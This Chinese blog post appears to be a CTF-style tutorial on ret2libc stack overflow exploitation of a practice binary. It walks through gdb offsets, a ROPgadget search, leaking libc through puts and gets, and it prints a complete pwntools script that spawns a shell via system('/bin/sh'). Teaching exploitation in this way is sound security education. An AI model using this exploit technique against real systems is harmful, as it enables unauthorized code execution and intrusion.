• 堆栈认知——栈溢出实例(ret2libc)


    参考:栈溢出实例–笔记三(ret2libc)
    地址:https://qingmu.blog.csdn.net/article/details/119481681

    1、栈溢出含义及栈结构

    参考前面博文

    2、ret2libc基本思路

    在当一个程序开启了NX(栈不可执行)的时候,我们没办法去写shellcode,而且程序中也没有system函数供我们调用的时候,那此时我们该如何做呢?

    首先,程序本身没有system,但是我们需要getshell,那么就必须要通过system才可以,那么程序中没有system,哪里有呢?毋庸置疑libc库中有system呀,此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数,并传递给system函数参数为“/bin/sh”,从而getshell。

    思路说完了来实战一下吧。

    3、实战

    3.1、二进制程序

    在这里插入图片描述
    我们使用IDA查看一下汇编代码:
    在这里插入图片描述
    反编译成C语言看一下:

    在这里插入图片描述
    此时程序中有gets函数,并且s的长度未做限制,那么gets函数就是溢出点,通过gets来进行栈溢出。其中还有puts函数,我们就可通过gets函数来泄露libc中的system函数地址,用puts函数将其打印出来。

    注意:在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址,具体含义可百度一下,这里不过过深的说明。

    3.2、查看栈结构

    接下来我们就是用gdb查看一下栈结构:
    在这里插入图片描述
    在这里插入图片描述
    此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
    ebp地址为:0xffffd468
    ret-address的地址为:0xffffd46c

    所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,到这这里我们需要返回到哪呢?

    正如上面所说我们需要通过gets函数来泄露got表中system地址。

    到此我们并不能getshell,我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢?

    我们可以在执行完puts函数后让其执行main函数,那么程序又会执行gets函数了,那么我们就可以在做一次栈溢出啦。

    3.3、第一次栈溢出

    第一次栈溢出我们需要泄露libc中的gets函数的地址,其第一次操作时候我们所希望的栈结构如下:

    在这里插入图片描述
    如何查找一个程序的rop链呢?

    ROPgadget  --binary ret2libc3 --only "pop|ret"
    
    • 1

    工具:ROPgadget

    参数含义
    –binary二进制程序
    –only正则匹配

    在这里插入图片描述
    在这里我们使用的是pop ebp ; ret。部分Python代码如下:

    puts_addr = elf.plt["puts"]   #获取pust函数的plt地址
    gets_got  = elf.got["gets"]   #获取gets函数的libc地址
    pop_ebp_ret = 0x080486ff      #rop链地址
    main_addr = elf.symbols["main"]  #main函数地址
    payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr) #payload
    p.sendlineafter("Can you find it !?",payload) #在打印Can you find it !?之后注入payload
    gets_addr = u32(p.recv(4))  #接收gets函数的libc地址
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    到此时我们就到了gets函数的libc中的地址,那么接下来我们就要获取system函数在libc中的地址。

    现在有了gets函数的libc地址,我们需要先获取libc库的基地址,在获取system函数地址。

    libc库的基地址如何获取呢?
    我们就用获取到的gets函数的libc地址减去其偏移就可以啦。

    具体Python代码如下:

    libc.address = gets_addr - libc.symbols["gets"]  #  获取libc的基地址
    system_addr = libc.symbols["system"]             #  得到system函数的libc地址
    
    • 1
    • 2

    那么我们的准备工作就做完了,就可以开始第二次的栈溢出来获取getshell啦。

    3.4、第二次栈溢出

    此时我们已经拿到了system函数的libc地址,我们只需要执行system函数,并给他传入参数“/bin/sh”
    就可以getshell啦。

    如何传入参数“/bin/sh”呢?

    我们可在栈溢出的时候,再让其执行gets函数,给其输入一个“/bin/sh”就好啦,值得注意的是:我们输入的“/bin/sh”需要放到bss段中的一个地址上去,因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。

    bss_addr = 0x0804A080        #程序中一个bss段地址
    gets_addr= elf.plt["gets"]   #程序中gets函数地址
    payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
    p.sendlineafter("Can you find it !?",payload2)
    p.sendline("/bin/sh")    # 输入一个“/bin/sh”
    
    • 1
    • 2
    • 3
    • 4
    • 5

    此时我们分析已经完成了,来康康结果吧:

    在这里插入图片描述

    此时我们已经getshell啦,大功告成 respect。

    完整的Python脚本如下:

    from pwn import *
    import sys
    
    
    #context.log_level="debug"
    context.arch = "i386"
    #context.terminal = ["tmux","splitw","-h"]
    
    
    if len(sys.argv)<2:
            debug =True
    else:
            debug=False
    
    if debug:
            p=process("./ret2libc3")
            elf=ELF("./ret2libc3")
            libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
    else:
            p=remote("x.x.x.x")
            elf=ELF("./ret2libc3")
            libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")
    
    def debugf():
            gdb.attach(p,"b * 0x08048641")
    
    puts_addr = elf.plt["puts"]
    gets_got  = elf.got["gets"]
    pop_ebp_ret = 0x080486ff
    main_addr = elf.symbols["main"]
    payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr)
    p.sendlineafter("Can you find it !?",payload)
    gets_addr = u32(p.recv(4))
    log.success("gets addr:"+ hex(gets_addr))
    libc.address = gets_addr - libc.symbols["gets"]
    log.success("libc addr:"+ hex(libc.address))
    system_addr = libc.symbols["system"]
    
    
    bss_addr = 0x0804A080
    gets_addr= elf.plt["gets"]
    payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
    p.sendlineafter("Can you find it !?",payload2)
    p.sendline("/bin/sh")
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    关键性的注释上面都已经注释过啦。

  • 相关阅读:
    电阻值过大的原因、影响和解决方法 | 百能云芯
    【RocketMQ】消息的刷盘机制
    图及其常见算法
    探究Socks5代理和代理IP在技术领域的多重应用
    【Milvus的安装和使用】
    项目管理中,进度管理是决定成败的关键因素!(建议收藏)
    day04_java基础
    明明拍毕业照
    Java 第三阶段增强分析需求,代码实现能力【多用户即时通信系统】
    CAP&Base理论
  • 原文地址:https://blog.csdn.net/zhuguanlin121/article/details/125436300